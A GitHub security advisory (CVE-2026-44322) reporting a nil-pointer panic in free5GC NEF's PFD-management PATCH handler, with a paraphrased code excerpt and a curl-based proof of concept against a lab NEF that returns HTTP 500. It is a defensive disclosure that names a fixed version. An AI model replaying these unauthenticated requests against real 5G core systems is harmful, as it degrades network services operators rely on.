Skip to content

free5GC's NEF 3gpp-pfd-management PATCH applications/{appId} panics on UDR access failure due to nil ProblemDetails dereference

High severity GitHub Reviewed Published May 7, 2026 in free5gc/free5gc • Updated Jun 8, 2026

Package

gomod github.com/free5gc/nef (Go)

Affected versions

< 1.2.3

Patched versions

1.2.3

Description

Summary

free5GC's NEF PATCH /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId} handler panics with a nil-pointer dereference when the upstream UDR call fails AND the consumer wrapper returns err != nil together with a nil *ProblemDetails. The handler's errPfdData != nil branch builds its own problemDetailsErr correctly, but immediately after it reads problemDetails.Cause (the OTHER value, which is nil in this branch) and panics. Gin recovery converts the panic into HTTP 500, so a single PATCH against this endpoint returns 500 instead of the intended controlled error response whenever UDR access is failing.

This is a second-order bug: the trigger requires UDR access to be failing (e.g. NRF or UDR is unreachable, registration broken, transient network failure). The attacker does not directly control that condition, so this is scored as AC:H. Once the upstream condition exists, the trigger is a single PATCH request and is repeatable.

The HTTP request itself in v4.2.1 is reachable without an Authorization header because the underlying NEF 3gpp-pfd-management route group is mounted without inbound auth middleware (see free5gc/free5gc#858). So in the validation lab the entire trigger chain is unauthenticated end-to-end.

Details

Validated against the NEF container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/nef:v4.2.1
  • Runtime NEF commit: 5ce35eab
  • Docker validation date: 2026-03-21 (container log timestamp 2026-03-21T03:06:36Z)
  • NEF endpoint: http://10.100.200.19:8000

Vulnerable handler logic in PatchIndividualApplicationPFDManagement (paraphrased):

pdfData, problemDetails, errPfdData := p.Consumer().AppDataPfdsAppIdGet(appID)

switch {
case problemDetails != nil:
    ...
case errPfdData != nil:
    problemDetailsErr := &models.ProblemDetails{
        Status: http.StatusInternalServerError,
        Detail: "Query to UDR failed",
    }
    c.Set(sbi.IN_PB_DETAILS_CTX_STR, problemDetails.Cause)   // <-- nil deref
    c.JSON(int(problemDetailsErr.Status), problemDetailsErr)
    return
}

In the errPfdData != nil branch, problemDetails is by construction nil (otherwise the first case would have matched). Reading problemDetails.Cause panics with runtime error: invalid memory address or nil pointer dereference. The intended value is presumably problemDetailsErr.Cause -- the locally constructed problem-details struct.

Code evidence (paths in free5gc/nef):

  • Patch handler core path:
    • NFs/nef/internal/sbi/processor/pfd.go:563
    • NFs/nef/internal/sbi/processor/pfd.go:610
  • Panic site (nil-deref on problemDetails.Cause):
    • NFs/nef/internal/sbi/processor/pfd.go:622
  • Route exposure / dispatch:
    • NFs/nef/internal/sbi/api_pfd.go:168
    • NFs/nef/internal/sbi/api_pfd.go:188

PoC

Reproduced end-to-end against the running NEF at http://10.100.200.19:8000. The trigger requires UDR access to be failing -- the lab simulates this by stopping NRF (so NEF's UDR client fails to discover/dial UDR). In production, equivalent triggers include NRF outages, UDR outages, or transient network failures.

  1. Create an AF context (no Authorization header):
curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afnpd3/subscriptions' \
  -H 'Content-Type: application/json' \
  --data '{"afAppId":"app-nef-npd3","anyUeInd":true}'
  1. Create a PFD-management transaction:
curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions' \
  -H 'Content-Type: application/json' \
  --data '{"pfdDatas":{"appnpd3":{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any"]}}}}}'
  1. Make UDR access fail (lab simulation):
docker stop nrf
  1. Trigger the panic with one PATCH:
curl -i -X PATCH 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3' \
  -H 'Content-Type: application/json' \
  --data '{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":[]}}}'
HTTP/1.1 500 Internal Server Error
Content-Length: 0
  1. NEF container logs (docker logs --since 2026-03-21T03:06:36Z nef) confirm the nil-deref panic at pfd.go:622 inside PatchIndividualApplicationPFDManagement:
[INFO][NEF][PFDMng] PatchIndividualApplicationPFDManagement - scsAsID[afnpd3], transID[1], appID[appnpd3]
[ERRO][NEF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
github.com/free5gc/nef/internal/sbi/processor.(*Processor).PatchIndividualApplicationPFDManagement
    .../pfd.go:622
github.com/free5gc/nef/internal/sbi.(*Server).apiPatchIndividualApplicationPFDManagement
    .../api_pfd.go:188
[INFO][NEF][GIN] | 500 | PATCH | /3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3 |
  1. Restore for further testing:
docker start nrf

Impact

NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the errPfdData != nil branch reads problemDetails.Cause even though problemDetails is nil by construction in that branch (the prior case already matched the non-nil case). The intended target was the locally constructed problemDetailsErr.Cause.

Gin recovery catches the panic, so the NEF process is NOT killed and other endpoints continue serving. The realized impact is per-request: PATCH against this endpoint returns 500 (with empty body and a stack trace in NEF logs) instead of the intended controlled UDR-failure response, whenever upstream UDR access is failing.

No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation and only fires while UDR access is independently broken; the attacker does not directly control that precondition, so AC:H is the honest assessment.

Affected: free5gc v4.2.1.

Upstream issue: free5gc/free5gc#925
Upstream fix: free5gc/nef#22

References

@Alonza0314 Alonza0314 published to free5gc/free5gc May 7, 2026
Published to the GitHub Advisory Database May 8, 2026
Reviewed May 8, 2026
Published by the National Vulnerability Database May 27, 2026
Last updated Jun 8, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(31st percentile)

Weaknesses

NULL Pointer Dereference

The product dereferences a pointer that it expects to be valid but is NULL. Learn more on MITRE.

Improper Check for Unusual or Exceptional Conditions

The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product. Learn more on MITRE.

CVE ID

CVE-2026-44322

GHSA ID

GHSA-j59f-x285-69jx

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.